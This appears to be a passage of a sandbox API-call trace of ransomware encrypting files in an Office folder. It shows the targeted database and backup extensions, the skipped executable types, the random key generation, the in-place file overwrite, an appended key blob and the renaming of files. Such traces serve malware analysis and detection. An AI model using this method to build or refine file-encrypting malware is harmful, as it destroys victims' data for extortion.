	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dat") returned 0x0
	[0079.312] lstrlenW (lpString=".DBS") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DBS") returned 0x0
	[0079.312] lstrlenW (lpString=".CKP") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".CKP") returned 0x0
	[0079.312] lstrlenW (lpString=".edb") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".edb") returned 0x0
	[0079.312] lstrlenW (lpString=".PST") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".PST") returned 0x0
	[0079.313] lstrlenW (lpString=".dbf") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dbf") returned 0x0
	[0079.313] lstrlenW (lpString=".SQL") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".SQL") returned 0x0
	[0079.313] lstrlenW (lpString=".pst") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".pst") returned 0x0
	[0079.313] lstrlenW (lpString=".dbv") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dbv") returned 0x0
	[0079.313] lstrlenW (lpString=".SDF") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".SDF") returned 0x0
	[0079.313] lstrlenW (lpString=".dtxs") returned 5
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dtxs") returned 0x0
	[0079.313] lstrlenW (lpString=".db3") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".db3") returned 0x0
	[0079.313] lstrlenW (lpString=".OST") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".OST") returned 0x0
	[0079.313] lstrlenW (lpString=".dbx") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dbx") returned 0x0
	[0079.313] lstrlenW (lpString=".DB3") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DB3") returned 0x0
	[0079.313] lstrlenW (lpString=".DAT") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DAT") returned 0x0
	[0079.313] lstrlenW (lpString=".VHDX") returned 5
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".VHDX") returned 0x0
	[0079.313] lstrlenW (lpString=".ndf") returned 4
	[0079.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".ndf") returned 0x0
	[0079.314] lstrlenW (lpString=".DB") returned 3
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DB") returned 0x0
	[0079.314] lstrlenW (lpString=".sql") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".sql") returned 0x0
	[0079.314] lstrlenW (lpString=".MYD") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".MYD") returned 0x0
	[0079.314] lstrlenW (lpString=".DBT") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DBT") returned 0x0
	[0079.314] lstrlenW (lpString=".ACCDB") returned 6
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.314] lstrlenW (lpString=".fdb") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".fdb") returned 0x0
	[0079.314] lstrlenW (lpString=".bak") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".bak") returned 0x0
	[0079.314] lstrlenW (lpString=".myd") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".myd") returned 0x0
	[0079.314] lstrlenW (lpString=".DTXS") returned 5
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DTXS") returned 0x0
	[0079.314] lstrlenW (lpString=".ckp") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".ckp") returned 0x0
	[0079.314] lstrlenW (lpString=".dbt") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dbt") returned 0x0
	[0079.314] lstrlenW (lpString=".db") returned 3
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".db") returned 0x0
	[0079.314] lstrlenW (lpString=".TXT") returned 4
	[0079.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".TXT") returned 0x0
	[0079.315] lstrlenW (lpString=".MDF") returned 4
	[0079.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".MDF") returned 0x0
	[0079.315] lstrlenW (lpString=".bdb") returned 4
	[0079.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".bdb") returned 0x0
	[0079.315] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0079.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.315] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0079.316] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.316] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0079.316] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19930621528) returned 1
	[0079.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x99224cd0, dwHighDateTime=0x1d60e1e)) 
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b640
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b640 | out: hHeap=0x300000) returned 1
	[0079.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0079.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b20c8
	[0079.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0079.317] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0079.317] GetLastError () returned 0x0
	[0079.317] GetLastError () returned 0x0
	[0079.317] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0079.317] GetLastError () returned 0x0
	[0079.317] GetLastError () returned 0x0
	[0079.318] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x3db8, lpOverlapped=0x0) returned 1
	[0079.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.322] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x3db8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x3db8, lpOverlapped=0x0) returned 1
	[0079.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.322] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.322] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.322] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.323] CloseHandle (hObject=0x130) returned 1
	[0079.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6a00
	[0079.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.~~~~")) returned 1
	[0079.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0079.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0079.324] GetLastError () returned 0x0
	[0079.324] RtlWakeConditionVariable () returned 0x365f70
	[0079.324] GetCurrentThreadId () returned 0x9cc
	[0079.324] GetCurrentThreadId () returned 0x9cc
	[0079.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7090 | out: hHeap=0x300000) returned 1
	[0079.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b678 | out: hHeap=0x300000) returned 1
	[0079.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7090
	[0079.324] lstrlenW (lpString=".scr") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".scr") returned 0x0
	[0079.325] lstrlenW (lpString=".cmd") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".cmd") returned 0x0
	[0079.325] lstrlenW (lpString=".dll") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dll") returned 0x0
	[0079.325] lstrlenW (lpString=".bat") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".bat") returned 0x0
	[0079.325] lstrlenW (lpString=".cpl") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".cpl") returned 0x0
	[0079.325] lstrlenW (lpString=".sys") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".sys") returned 0x0
	[0079.325] lstrlenW (lpString=".msc") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".msc") returned 0x0
	[0079.325] lstrlenW (lpString=".com") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".com") returned 0x0
	[0079.325] lstrlenW (lpString=".lnk") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".lnk") returned 0x0
	[0079.325] lstrlenW (lpString=".msp") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".msp") returned 0x0
	[0079.325] lstrlenW (lpString=".pif") returned 4
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".pif") returned 0x0
	[0079.325] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0079.327] lstrlenW (lpString=".sqb") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".sqb") returned 0x0
	[0079.327] lstrlenW (lpString=".ost") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".ost") returned 0x0
	[0079.327] lstrlenW (lpString=".txt") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".txt") returned 0x0
	[0079.327] lstrlenW (lpString=".mdt") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".mdt") returned 0x0
	[0079.327] lstrlenW (lpString=".BDB") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".BDB") returned 0x0
	[0079.327] lstrlenW (lpString=".eql") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".eql") returned 0x0
	[0079.327] lstrlenW (lpString=".DBF") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DBF") returned 0x0
	[0079.327] lstrlenW (lpString=".EQL") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".EQL") returned 0x0
	[0079.327] lstrlenW (lpString=".FDB") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".FDB") returned 0x0
	[0079.327] lstrlenW (lpString=".EDB") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".EDB") returned 0x0
	[0079.327] lstrlenW (lpString=".DACPAC") returned 7
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.327] lstrlenW (lpString=".VHD") returned 4
	[0079.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".VHD") returned 0x0
	[0079.327] lstrlenW (lpString=".DBV") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DBV") returned 0x0
	[0079.328] lstrlenW (lpString=".dacpac") returned 7
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dacpac") returned 0x0
	[0079.328] lstrlenW (lpString=".sdf") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".sdf") returned 0x0
	[0079.328] lstrlenW (lpString=".accdb") returned 6
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".accdb") returned 0x0
	[0079.328] lstrlenW (lpString=".DBX") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DBX") returned 0x0
	[0079.328] lstrlenW (lpString=".MDT") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".MDT") returned 0x0
	[0079.328] lstrlenW (lpString=".SQB") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".SQB") returned 0x0
	[0079.328] lstrlenW (lpString=".vhd") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".vhd") returned 0x0
	[0079.328] lstrlenW (lpString=".bac") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".bac") returned 0x0
	[0079.328] lstrlenW (lpString=".mdf") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".mdf") returned 0x0
	[0079.328] lstrlenW (lpString=".BAK") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".BAK") returned 0x0
	[0079.328] lstrlenW (lpString=".BAC") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".BAC") returned 0x0
	[0079.328] lstrlenW (lpString=".dbs") returned 4
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dbs") returned 0x0
	[0079.328] lstrlenW (lpString=".vhdx") returned 5
	[0079.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".vhdx") returned 0x0
	[0079.329] lstrlenW (lpString=".NDF") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".NDF") returned 0x0
	[0079.329] lstrlenW (lpString=".dat") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dat") returned 0x0
	[0079.329] lstrlenW (lpString=".DBS") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DBS") returned 0x0
	[0079.329] lstrlenW (lpString=".CKP") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".CKP") returned 0x0
	[0079.329] lstrlenW (lpString=".edb") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".edb") returned 0x0
	[0079.329] lstrlenW (lpString=".PST") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".PST") returned 0x0
	[0079.329] lstrlenW (lpString=".dbf") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dbf") returned 0x0
	[0079.329] lstrlenW (lpString=".SQL") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".SQL") returned 0x0
	[0079.329] lstrlenW (lpString=".pst") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".pst") returned 0x0
	[0079.329] lstrlenW (lpString=".dbv") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dbv") returned 0x0
	[0079.329] lstrlenW (lpString=".SDF") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".SDF") returned 0x0
	[0079.329] lstrlenW (lpString=".dtxs") returned 5
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dtxs") returned 0x0
	[0079.329] lstrlenW (lpString=".db3") returned 4
	[0079.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".db3") returned 0x0
	[0079.330] lstrlenW (lpString=".OST") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".OST") returned 0x0
	[0079.330] lstrlenW (lpString=".dbx") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dbx") returned 0x0
	[0079.330] lstrlenW (lpString=".DB3") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DB3") returned 0x0
	[0079.330] lstrlenW (lpString=".DAT") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DAT") returned 0x0
	[0079.330] lstrlenW (lpString=".VHDX") returned 5
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".VHDX") returned 0x0
	[0079.330] lstrlenW (lpString=".ndf") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".ndf") returned 0x0
	[0079.330] lstrlenW (lpString=".DB") returned 3
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DB") returned 0x0
	[0079.330] lstrlenW (lpString=".sql") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".sql") returned 0x0
	[0079.330] lstrlenW (lpString=".MYD") returned 4
